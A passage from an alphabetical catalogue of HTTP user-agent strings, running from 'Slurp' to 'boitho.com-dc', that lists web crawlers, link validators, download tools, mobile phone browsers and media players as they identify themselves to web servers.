http://www.inktomi.com/slurp.html)\nSlurp/si (slurp@inktomi.com; http://www.inktomi.com/slurp.html)\nSlurpy Verifier/1.0\nSlySearch (slysearch@slysearch.com)\nSlySearch/1.0 http://www.plagiarism.org/crawler/robotinfo.html\nSlySearch/1.x http://www.slysearch.com\nSmartDownload/1.2.67 (Win32; Jan 12 1999)\nSmartDownload/1.2.77 (Win32; Feb 1 2000)\nSmartDownload/1.2.77 (Win32; Jun 19 2001)\nSmiffyDCMetaSpider/1.0\nSnapbot/1.0\nSnapbot/1.0 (Snap Shots, +http://www.snap.com)\nSnappy/1.1 ( http://www.urltrends.com/ )\nSnarfer/0.x.x (http://www.snarfware.com/)\nSnoopRob/x.x\nSnoopy v1.2\nSnoopy v1.xx\nSnoopy v1.xx- : User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)\nSnoopy_v0.xx\nSnykeBot/0.6 (http://www.snyke.com)\nSocSciBot ()\nSoftBank/1.0/812SH/SHJ001 Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSoftHypermarketFileCheckBot/1.0+(+http://www.softhypermaket.com)\nSoftizerbot (http://www.softizer.com)\nSogou Orion spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)\nSogou web spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)\nSonyEricssonJ300c/R2BA SEMC-Browser/4.0.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK300c/R2BA SEMC-Browser/4.0.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0\nSonyEricssonK500c/R2AT SEMC-Browser/4.0.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK500c/R2L SEMC-Browser/4.0.1 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK506c/R2AA SEMC-Browser/4.0.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK510c/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK530c/R8BA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK530i/R6BA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK550i/R1JD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK700c/R2AE SEMC-Browser/4.0.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK700c/R2CA SEMC-Browser/4.0.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK750c/R1BC Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK750c/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK750c/R1DB Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK750i/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK800c/R8BF Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK800i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nSonyEricssonK810i/R1KG Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonS500i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonS700c/R3B SEMC-Browser/4.0.1 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonS700i/R3B SEMC-Browser/4.0.1 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonT100/R101\nSonyEricssonT610/R201 Profile/MIDP-1.0 Configuration/CLDC-1.0\nSonyEricssonT650i/R7AA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonT68/R201A\nSonyEricssonW580i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonW660i/R6AD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonW700c/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonW700c/R1DB Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonW800c/R1AA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonW800c/R1BC Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonW800c/R1L Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonW810i/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nSonyEricssonW850i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonW950i/R100 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 323) Opera 8.60 [en-US]\nSonyEricssonW995/R1EA Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0\nSonyEricssonZ800/R1Y Browser/SEMC-Browser/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nSosospider+(+http://help.soso.com/webspider.htm)\nSpace Bison/0.02 [fu] (Win67; X; SK)\nSpeedDownload/1.x\nSpeedy Spider (Beta/1.0; www.entireweb.com)\nSpeedy Spider (Beta/x.x; speedy@entireweb.com)\nSpeedy Spider (Entireweb; Beta/1.0; http://www.entireweb.com/about/search_tech/speedyspider/)\nSpeedy Spider (Entireweb; Beta/1.1; http://www.entireweb.com/about/search_tech/speedyspider/)\nSpeedy Spider (Entireweb; Beta/1.2; http://www.entireweb.com/about/search_tech/speedyspider/)\nSpeedy Spider (Entireweb; Beta/1.3; http://www.entireweb.com/about/search_tech/speedyspider/)\nSpeedy Spider (http://www.entireweb.com)\nSpeedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/)\nSpeedy Spider (http://www.entireweb.com/about/search_tech/speedyspider/)\nSpeedy_Spider (http://www.entireweb.com)\nSphere Scout&v4.0 - scout at sphere dot com\nSphider\nSpida/0.1\nSpider-Sleek/2.0 (+http://search-info.com/linktous.html)\nSpider.TerraNautic.net - v:1.04\nSpider/maxbot.com admin@maxbot.com\nSpiderKU/0.x\nSpiderMan\nSpiderMonkey/7.0x (SpiderMonkey.ca info at http://spidermonkey.ca/sm.shtml)\nSpinne/2.0\nSpinne/2.0 med\nSpinne/2.0 med_AH\nSpock Crawler (http://www.spock.com/crawler)\nSquid-Prefetch\nSquidClamAV_Redirector 1.x.x\nSqworm/2.9.81-BETA (beta_release; 20011102-760; i686-pc-linux-gnu)\nSqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)\nSqworm/2.9.89-BETA (beta_release; 20020130-839; i686-pc-linux-gnu)\nStackRambler/2.0\nStackRambler/2.0 (MSIE incompatible)\nStackRambler/x.x\nStamina/1.4\nStar Downloader\nStarDownloader/1.xx\nSteeler/1.x (http://www.tkl.iis.u-tokyo.ac.jp/~crawler/)\nSteeler/3.3 (http://www.tkl.iis.u-tokyo.ac.jp/~crawler/)\nStrategic Board Bot (+http://www.strategicboard.com)\nSubmission Spider at surfsafely.com\nSuchknecht.at-Robot\nSundance(Compatible; Windows; U; en-US;) Version/0.9.0.34\nSundance(Compatible; Windows; U; en-US;) Version/0.9.0.36\nSundance(Compatible; Windows; U; en-US;) Version/0.9.0.38\nSundance/0.9x(Compatible; Windows; U; en-US;)Version/0.9x\nSunrise XP/2.x\nSunrise/0.42g (Windows XP)\nSuperBot/4.4.0.60 (Windows XP)\nSuperBot/x.x (Win32)\nSuperBot/x.x.x.xx (Windows XP)\nSuperdownloads Spiderman\nSurf/0.4.1 (X11; U; Unix; en-US) AppleWebKit/531.2+ Compatible (Safari; MSIE 9.0)\nSurfMaster\nSurferF3 1/0\nSurveyBot/2.2 <a href='http://www.whois.sc'>Whois Source</a>\nSurveyBot/2.3 (Whois Source)\nSurveyBot/2.3+(Whois+Source)\nSwooglebot/2.0. (+http://swoogle.umbc.edu/swooglebot.htm)\nSygolBot http://www.sygol.net\nSylera/1.2.x\nSyncBot\nSyncIT/x.x\nSyndirella/0.91pre\nSynoBot\nSynooBot/0.7.1 (SynooBot; http://www.synoo.de/bot.html; webmaster@synoo.com)\nSyntryx ANT Scout Chassis Pheromone; Mozilla/4.0 compatible crawler\nSzukacz/1.x\nSzukacz/1.x (robot; www.szukacz.pl/jakdzialarobot.html; szukacz@proszynski.pl)\nT-Online Browser\nTAMU_CS_IRL_CRAWLER/1.0\nTCDBOT/Nutch-0.8 (PhD student research;http://www.tcd.ie; mcgettrs at t c d dot IE)\nTE\nTECOMAC-Crawler/0.x\nTJG/Spider\nTJvMultiHttpGrabber Component\nTOPOS robot/1.1 (http://www.topos.com.ua/)\nTSurf15a 11\nTagword (http://tagword.com/dmoz_survey.php)\nTagyu Agent/1.0\nTalkro Web-Shot/1.0 (E-mail: webshot@daumsoft.com- Home: http://222.122.15.190/webshot)\nTargetYourNews.com bot\nTeamSoft WinInet Component\nTecomi Bot (http://www.tecomi.com/bot.htm)\nTeemer (NetSeer, Inc. is a Los Angeles based Internet startup company.; http://www.netseer.com/crawler.html; crawler@netseer.com)\nTeleport Pro/1.2x(.1xxx)\nTeoma MP\nTeradex Mapper; mapper@teradex.com; http://www.teradex.com\nTeragramCrawler\nTerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)\nTest spider\nTestCrawler/Nutch-0.9 (Testing Crawler for Research ; http://balihoo.com/index.aspx; tgautier at balihoo dot com)\nThe Expert HTML Source Viewer (http://www.expert-html.com)\nTheRarestParser/0.2a (http://therarestwords.com/)\nTheSuBot/0.1 (www.thesubot.de)\nTheSuBot/0.2 (www.thesubot.de)\nThumbnail.CZ robot 1.1 (http://thumbnail.cz/why-no-robots-txt.html)\nTinEye\nTinEye/1.1 (http://tineye.com/crawler.html)\nTkensaku/x.x(http://www.tkensaku.com/q.html)\nTopodia/1.2-dev (Topodia - Crawler for HTTP content indexing; http://www.topodia.com/; support@topodia.com)\nToutatis x-xx.x (hoppa.com)\nToutatis x.x (hoppa.com)\nToutatis x.x-x\nTrailfire-bot/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)\nTrailfire-bot/0.7.1 (Trailfire page content analyzer; http://trailfire.com; info@trailfire.com)\nTrailfire/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)\nTrampelpfad-Spider\nTrampelpfad-Spider-v0.1\nTulipChain/5.x (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://java.sun.com/) Linux/2.4.17\nTulipChain/5.xx (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://apple.com/) Mac_OS_X/10.2.8\nTumblr/1.0 RSS syndication (+http://www.tumblr.com/) (support@tumblr.com)\nTurnitinBot (https://turnitin.com/robot/crawlerinfo.html)\nTurnitinBot/1.5 (http://www.turnitin.com/robot/crawlerinfo.html)\nTurnitinBot/1.5 http://www.turnitin.com/robot/crawlerinfo.html\nTurnitinBot/2.0 http://www.turnitin.com/robot/crawlerinfo.html\nTurnitinBot/2.1 (http://www.turnitin.com/robot/crawlerinfo.html)\nTurnitinBot/x.x (http://www.turnitin.com/robot/crawlerinfo.html)\nTurnpike Emporium LinkChecker/0.1\nTutorGig/1.5 (+http://www.tutorgig.com/crawler)\nTutorial Crawler 1.4 (http://www.tutorgig.com/crawler)\nTwengaBot\nTwiceler www.cuill.com/robots.html\nTwiceler-0.9 http://www.cuill.com/twiceler/robot.html\nTwisted PageGetter\nTwitterbot/1.0\nTwitturly / v0.x\nTwotrees Reactive Filter V2.0\nTycoon Agent/Nutch-1.0-dev\nTygoBot\nTygoProwler\nUCMore Crawler App\nUCWEB/8.8 (SymbianOS/9.2; U; en-US; NokiaE63) AppleWebKit/534.1 UCBrowser/8.8.0.245 Mobile\nUCWEB/8.8 (iPhone; CPU OS_6; en-US)AppleWebKit/534.1 U3/3.0.0 Mobile\nUCWEB5.1\nUCmore\nUDM\nUIowaCrawler/1.0\nUKWizz/Nutch-0.8.1 (UKWizz Nutch crawler; http://www.ukwizz.com/)\nUP.Browser/3.01-IG01 UP.Link/3.2.3.4\nUPG1 UP/4.0 (compatible; Blazer 1.0)\nURD-MAGPIE/0.73 (Cached)\nURI::Fetch/0.06\nURL Spider Pro/x.xx (innerprise.net)\nURLBase/6.x\nURLBlaze\nURLGetFile\nURL_Spider_Pro/x.x\nURL_Spider_Pro/x.x+(http://www.innerprise.net/usp-spider.asp)\nUSyd-NLP-Spider (http://www.it.usyd.edu.au/~vinci/bot.html)\nUdmSearch/3.1.x\nUltraseek\nUnder the Rainbow 2.2\nUniversalFeedParser/3.3 +http://feedparser.org/\nUofTDB_experiment (leehyun@cs.toronto.edu)\nUptimeBot(www.uptimebot.com)\nUptimebot\nUser agent: Mozilla/5.0 (Linux; Android 4.3; SPH-L710 Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.99 Mobile Safari/537.36\nUser-Agent:  BoardReader Favicon Fetcher /1.0 info@boardreader.com\nUser-Agent:  BoardReader Image Fetcher /1.0 info@boardreader.com\nUser-Agent:  LjSEEK Picture-Bot /1.0 contact@ljseek.com\nUser-Agent: FileHeap! file downloader (http://www.fileheap.com)\nUser-Agent: Mozilla/4.0 (SKIZZLE! Distributed Internet Spider v1.0 - www.SKIZZLE.com)\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nUser-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13\nUtilMind HTTPGet\nUtopia WebWasher 3.0\nUzbl (Webkit 1.1.10) (Arch Linux)\nUzbl (Webkit 1.1.12)\nUzbl (Webkit 1.1.9) (Linux)\nUzbl (Webkit 1.2) (Linux i686 [i686])\nUzbl (Webkit 1.3) (Linux i686 [i686])\nUzbl (X11; U; Arch Linux i686; de-DE) Webkit/1.1.10\nUzbl (X11; U; Arch Linux; de-DE) Webkit/1.1.10\nVLC media player - version 0.8.5 Janus - (c) 1996-2006 the VideoLAN team\nVMBot/0.x.x (VMBot; http://www.VerticalMatch.com/; vmbot@tradedot.com)\nVORTEX/1.2 ( http://marty.anstey.ca/robots/vortex/)\nVSE/1.0 (testcrawler@hotmail.com)\nVSE/1.0 (testcrawler@vivisimo.com)\nVWBOT/Nutch-0.9-dev (VWBOT Nutch Crawler; http://vwbot.cs.uiuc.edu;+vwbot@cs.uiuc.edu\nVYU2 (GNU; OpenRISC)\nVadixBot\nVagabondo-WAP/2.0 (webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/)/1.0 Profile\nVagabondo/1.x MT (webagent@wise-guys.nl)\nVagabondo/2.0 MT\nVagabondo/2.0 MT (webagent at wise-guys dot nl)\nVagabondo/2.0 MT (webagent@NOSPAMwise-guys.nl)\nVagabondo/3.0 (webagent at wise-guys dot nl)\nVakes/0.01 (Vakes; http://www.vakes.com/; search@vakes.com)\nVayalaCreep-v0.0.1 (haploid@haploid.com)\nVayala|Creep-v0.0.1 (codepoet@wildties.com)\nVerticrawlbot\nVeryGoodSearch.com.DaddyLongLegs\nVerzamelgids/2.2 (http://www.verzamelgids.nl)\nVespa Crawler\nVimprobable/0.9.20.5\nVisBot/2.0 (Visvo.com Crawler; http://www.visvo.com/bot.html; bot@visvo.com)\nVisicom Toolbar\nVision Research Lab image spider at vision.ece.ucsb.edu\nVivante Link Checker (http://www.vivante.com)\nVodafone/1.0/V802SE/SEJ001 Browser/SEMC-Browser/4.1\nVortex/2.2 ( http://marty.anstey.ca/robots/vortex/)\nVortex/2.2 (+http://marty.anstey.ca/robots/vortex/)\nW3C-WebCon/5.x.x libwww/5.x.x\nW3C-checklink/2.90 libwww-perl/5.64\nW3C-checklink/3.6.2.3 libwww-perl/5.64\nW3C-checklink/3.x.x.x libwww-perl/5.xx\nW3C-checklink/4.2 [4.20] libwww-perl/5.803\nW3C-checklink/4.2.1 [4.21] libwww-perl/5.803\nW3C-checklink/4.3 [4.42] libwww-perl/5.805\nW3C-checklink/4.3 [4.42] libwww-perl/5.808\nW3C-checklink/4.3 [4.42] libwww-perl/5.820\nW3C-checklink/4.5 [4.154] libwww-perl/5.823\nW3C-checklink/4.5 [4.160] libwww-perl/5.823\nW3C-checklink/4.x [4.xx] libwww-perl/5.xxx\nW3CLineMode/5.4.0 libwww/5.x.x\nW3CRobot/5.4.0 libwww/5.4.0\nW3C_Validator/1.305.2.12 libwww-perl/5.64\nW3C_Validator/1.432.2.10\nW3C_Validator/1.432.2.19\nW3C_Validator/1.432.2.22\nW3C_Validator/1.432.2.5\nW3C_Validator/1.555\nW3C_Validator/1.575\nW3C_Validator/1.591\nW3C_Validator/1.606\nW3C_Validator/1.654\nW3C_Validator/1.xxx libwww-perl/5.xx\nW3SiteSearch Crawler_v1.1 http://www.w3sitesearch.de\nWAVcheck 1.0.x (http://www.webbanalys.se/apps/WAVcheck/)\nWDG_Validator/1.1\nWDG_Validator/1.6.2\nWEP Search 00\nWFARC\nWIRE/0.11 (Linux; i686; Bot,Robot,Spider,Crawler,aromano@cli.di.unipi.it)\nWIRE/0.x (Linux; i686; Bot,Robot,Spider,Crawler)\nWISEbot/1.0 (WISEbot@koreawisenut.com; http://wisebot.koreawisenut.com)\nWSB WebCrawler V1.0 (Beta)- cl@cs.uni-dortmund.de\nWSB, http://websearchbench.cs.uni-dortmund.de\nWWSBOT 1.x [--- http://www.analyzer.nu ---]\nWWW-Mechanize/1.1x\nWWWC/1.0x\nWWWOFFLE/2.x\nWWWeasel Robot v1.00 (http://wwweasel.de)\nWannaBe (Macintosh; PPC)\nWapOnWindows 1.0\nWatchfire WebXM 1.0\nWavefire/0.8-dev (Wavefire; http://www.wavefire.com; info@wavefire.com)\nWaypath Scout v2.x - info at waypath dot com\nWaypath development crawler - info at waypath dot com\nWeBoX/0.xx\nWeb Downloader\nWeb Downloader/4.5\nWeb Downloader/5.7\nWeb Downloader/6.8\nWeb Downloader/6.9\nWeb Image Collector\nWeb Link Validator 1.5\nWeb Snooper\nWeb-Bot V1.03\nWeb-Robot/5.0 (en-US; web-robot.com/policy.html) Web-Robot Crawler/2.0.3\nWebAlta Crawler/1.2.1 (http://www.webalta.ru/bot.html)\nWebAuto/3.4xxx (WinNT; I)\nWebBug/5.x\nWebCompass 2.0\nWebCopier v2.8\nWebCopier v3.0\nWebCopier v3.2\nWebCopier v3.2a\nWebCopier v3.3\nWebCopier v4.5.2\nWebCopier v4.6\nWebCopier vx.x\nWebCopier vx.xa\nWebCorp/1.0\nWebDownloader for X x.xx\nWebFetch\nWebFilter Robot 1.0\nWebFilter Robot 1.x\nWebFindBot(http://www.web-find.com)\nWebImages 0.3 ( http://herbert.groot.jebbink.nl/?app=WebImages )\nWebLight/4.x.x (support@illumit.com; http://www.illumit.com/Products/weblight/)\nWebMiner/x.x [en] (Win98; I)\nWebPix 1.0 (www.netwu.com)\nWebQL\nWebRACE/1.1 (University of Cyprus- Distributed Crawler)\nWebRankSpider/1.37 (+http://ulm191.server4you.de/crawler/)\nWebReaper [info@webreaper.net]\nWebReaper [webreaper@webreaper.net]\nWebReaper vx.x - www.webreaper.net\nWebSearch.COM.AU/3.0.1 (The Australian Search Engine; http://WebSearch.COM.AU; Search@WebSearch.COM.AU)\nWebSearchBench WebCrawler v0.1(Experimental)\nWebStat/1.0 (Unix; beta; 20040314)\nWebStripper/2.xx\nWebTrafficExpress/x.0\nWebTrends/3.0 (WinNT)\nWebVac (webmaster@pita.stanford.edu)\nWebVal/1.0\nWebVulnCrawl.unknown/1.0 libwww-perl/5.803\nWebWatcherMonitor/2.01\nWebZIP/3.5 (http://www.spidersoft.com)\nWebZIP/x.x (http://www.spidersoft.com)\nWebarooBot (Webaroo Bot; http://64.124.122.252/feedback.html)\nWebarooBot (Webaroo Bot; http://www.webaroo.com/rooSiteOwners.html)\nWebclipping.com\nWebdup/0.9\nWebglimpse 2.xx.x (http://webglimpse.net)\nWebkit/1.1.8 (Linux; en-us) Uzbl\nWebkit/1.1.8 (Linux; en_US) Uzbl\nWeblink's checker/\nWeblog Attitude Diffusion 1.0\nWebsite Explorer/0.9.x.x\nWebsite eXtractor\nWebsiteWorth v1.0\nWebspinne/1.0 webmaster@webspinne.de\nWebsquash.com (Add url robot)\nWebster v0.3 ( http://webster.healeys.net/ )\nWebverzeichnis.de - Telefon: 01908 / 26005\nWells Search II\nWest Wind Internet Protocols 4.xx\nWget/1.10.1\nWget/1.10.1 (Red Hat modified)\nWget/1.10.1-beta1\nWget/1.10.2\nWget/1.10.2 (Red Hat modified)\nWget/1.11.1 (Red Hat modified)\nWget/1.11.4 (Red Hat modified)\nWget/1.12 (freebsd8.1)\nWget/1.15 (darwin13.0.2)\nWget/1.5.3\nWget/1.6\nWget/1.7\nWget/1.8.1\nWget/1.8.2\nWget/1.9\nWget/1.9 cvs-stable (Red Hat modified)\nWget/1.9+cvs-stable (Red Hat modified)\nWget/1.9.1\nWget/1.x(.x)GNU wget http://www.gnu.org/software/wget/wget.html - file downloader\nWget/1.x+cvs-stable (Red Hat modified)\nWget/1.x.x+cvs\nWhatsup/x.x\nWhizBang! Lab\nWildsoft Surfer\nWillow Internet Crawler by Twotrees V2.1\nWinGet 1.1\nWinHTTP Example/1.0\nWinPodder (http://winpodder.com)\nWinWAP/3.x (3.x.x.xx; Win32) (Google WAP Proxy/1.0)\nWinampMPEG/2.00 (larbin@unspecified.mail)\nWincerSong Agent v1.0\nWindows-Media-Player/10.00.00.3646\nWindows-Media-Player/10.00.00.4036\nWindows-Media-Player/10.00.00.xxxx\nWindows-Media-Player/11.0.5721.5145\nWindows-Media-Player/9.00.00.3250\nWindows-Media-Player/9.00.00.4503\nWinkBot/0.06 (Wink.com search engine web crawler; http://www.wink.com/Wink:WinkBot; winkbot@wink.com)\nWir sind die Borg (Version: 1.03, Sie wurden Assimiliert +http://www.yammba.com/suchmaschine/bot.html)\nWiseWire-Spider2\nWoFindeIch Robot 1.0( http://www.search.wofindeich.com/robot.php)\nWoFindeIch Robot 1.0(+http://www.search.wofindeich.com/robot.php)\nWomlpeFactory/0.1 (+http://www.Womple.com/bot.html)\nWorQmada/1.0\nWordChampBot\nWordPress/x.x.x.x PHP/4.x.xx\nWorldLight\nWorldWideweb (NEXT)\nWotbox/alpha0.6 (bot@wotbox.com; http://www.wotbox.com)\nWotbox/alpha0.x.x (bot@wotbox.com; http://www.wotbox.com) Java/1.4.1_02\nWusage/x.0@boutell.com\nWwlib/Linux\nX-Crawler\nXMLSlurp/0.1 libwww-perl/5.805\nXRL/2.00b1 (Linux; i686; en-us) (+http://metamark.net/about)\nXaldon WebSpider\nXaldon_WebSpider/2.0.b1\nXenu Link Sleuth 1.2b\nXenu Link Sleuth 1.2c\nXenu Link Sleuth 1.2d\nXenu Link Sleuth 1.2e\nXenu Link Sleuth 1.2f\nXenu Link Sleuth 1.2g\nXenu Link Sleuth 1.2h\nXenu Link Sleuth 1.2i\nXenu Link Sleuth 1.xx\nXenu Link Sleuth/1.3.7\nXenu Link Sleuth/1.3.8\nXenu's Link Sleuth 1.x[a-z]\nXerka WebBot v1.0.0 [UPVOpenDir]\nXylix\nY!J-BSC/1.0 (http://help.yahoo.co.jp/help/jp/search/indexing/indexing-15.html)\nY!J-SRD/1.0\nY!J/1.0 (http://help.yahoo.co.jp/help/jp/search/indexing/indexing-15.html)\nY!OASIS/TEST no-ad Mozilla/4.08 [en] (X11; I; FreeBSD 2.2.8-STABLE i386)\nY!TunnelPro\nYTunnelPro\nYahoo Pipes 1.0\nYahoo! Mindset\nYahoo-Blogs/v3.9 (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.com/help/us/ysearch/crawling/crawling-02.html )\nYahoo-MMAudVid/1.0 (mms dash mmaudvidcrawler dash support at yahoo dash inc dot com)\nYahoo-MMAudVid/2.0(mms dash mm aud vid crawler dash support at yahoo dash inc.com ;Mozilla 4.0 compatible; MSIE 7.0;Windows NT 5.0; .NET CLR 2.0)\nYahoo-MMCrawler/3.x (mm dash crawler at trd dot overture dot com)\nYahoo-Test/4.0\nYahoo-VerticalCrawler-FormerWebCrawler/3.9 crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler\nYahooFeedSeeker/2.0 (compatible; Mozilla 4.0; MSIE 5.5; http://publisher.yahoo.com/rssguide)\nYahooSeeker-Testing/v3.9 (compatible; Mozilla 4.0; MSIE 5.5; http://search.yahoo.com/)\nYahooSeeker/1.0 (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.com/help/us/shop/merchant/)\nYahooSeeker/1.0 (compatible; Mozilla 4.0; MSIE 5.5; http://search.yahoo.com/yahooseeker.html)\nYahooSeeker/1.1 (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.com/help/us/shop/merchant/)\nYahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)\nYahooSeeker/CafeKelsa-dev (compatible; Konqueror/3.2; FreeBSD ;cafekelsa-dev-webmaster@yahoo-inc.com )\nYahooSeeker/bsv3.9 (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.com/help/us/ysearch/crawling/crawling-02.html )\nYandex/1.01.001 (compatible; Win16; I)\nYanga WorldSearch Bot v1.1/beta (http://www.yanga.co.uk/)\nYasaklibot/v1.2 (http://www.Yasakli.com/bot.php)\nYeti\nYeti/0.01 (nhn/1noon, yetibot@naver.com, check robots.txt daily and follows it)\nYeti/1.0 (+http://help.naver.com/robots/)\nYeti/1.0 (NHN Corp.; http://help.naver.com/robots/)\nYodaoBot/1.0 (http://www.yodao.com/help/webmaster/spider/; )\nYottaCars_Bot/4.12 (+http://www.yottacars.com) Car Search Engine\nYottaShopping_Bot/4.12 (+http://www.yottashopping.com) Shopping Search Engine\nZ-Add Link Checker (http://w3.z-add.co.uk/linkcheck/)\nZBot/1.00 (icaulfield@zeus.com)\nZIPPPCVS/0.xx (ZipppBot/.xx;http://www.zippp.net; webmaster@zippp.net)\nZao-Crawler\nZao-Crawler 0.2b\nZao/0.1 (http://www.kototoi.org/zao/)\nZeBot_lseek.net (bot@ze.bz)\nZeBot_www.ze.bz (ze.bz@hotmail.com)\nZearchit\nZend_Http_Client\nZeus ThemeSite Viewer Webster Pro V2.9 Win32\nZeus xxxxx Webster Pro V2.9 Win32\nZeusbot/0.07 (Ulysseek's web-crawling robot; http://www.zeusbot.com; agent@zeusbot.com)\nZiggy -- The Clown From Hell!!\nZipppBot/0.xx (ZipppBot; http://www.zippp.net; webmaster@zippp.net)\nZippy v2.0 - Zippyfinder.com\nZoo Tycoon 2 Client -- http://www.zootycoon.com\nZoomSpider - wrensoft.com\nZscho.de Crawler/Nutch-1.0-Zscho.de-semantic_patch (Zscho.de Crawler\nZyBorg/1.0 (ZyBorg@WISEnut.com; http://www.WISEnut.com)\naardvark-crawler\nabot/0.1 (abot; http://www.abot.com; abot@abot.com)\naccoona\nagadine/1.x.x (+http://www.agada.de)\naipbot/1.0 (aipbot; http://www.aipbot.com; aipbot@aipbot.com)\naipbot/2-beta (aipbot dev; http://aipbot.com; aipbot@aipbot.com)\namaya/10 libwww/5.4.0\namaya/10.1 libwww/5.4.0\namaya/11.1 amaya/5.4.0\namaya/11.1 libwww/5.4.0\namaya/11.2 amaya/5.4.0\namaya/11.2 libwww/5.4.0\namaya/11.3.1 libwww/5.4.1\namaya/8.8.5 libwww/5.4.0\namaya/9.51 libwww/5.4.0\namaya/9.52 libwww/5.4.0\namaya/9.54 libwww/5.4.0\namaya/9.55 libwww/5.4.0\namaya/x.xx libwww/x.x.x\namibot\namzn_assoc\nannotate_google; http://ponderer.org/download/annotate_google.user.js\nantibot-V1.1.5/i586-linux-2.2\nappie 1.1 (www.walhello.com)\naranhabot\narchive.org_bot\nask.24x.info\nasked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com)\nasterias/2.0\natSpider/1.0\naugurfind\naugurnfind V-1.x\nautoemailspider\nautohttp\nautowebdir 1.1 (www.autowebdir.com)\naxadine/ (Axadine Crawler; http://www.axada.de/; )\nbCentral Billing Post-Process\nbdcindexer_2.6.2 (research@bdc)\nbeautybot/1.0 (+http://www.uchoose.de/crawler/beautybot/)\nbillbot wjj@cs.cmu.edu\nblogWatcher_Spider/0.1 (http://www.lr.pi.titech.ac.jp/blogWatcher/)\nblogsearchbot-pumpkin-3\nbluefish 0.6 HTML editor\nboitho.com-dc/0.79 ( http://www.boitho.com/dcbot.html )\nboitho.com-dc/0.81 ( http://www.boitho.com/dcbot.html )\nboitho.com-dc/0.82 ( http://www.boitho.com/dcbot.html )\nboitho.com-dc/0.83 ( http://www.boitho.com/dcbot.html )\nboitho.com-dc/0.85 ( http://www.boitho.com/dcbot.html )\nboitho.com-dc/0.xx 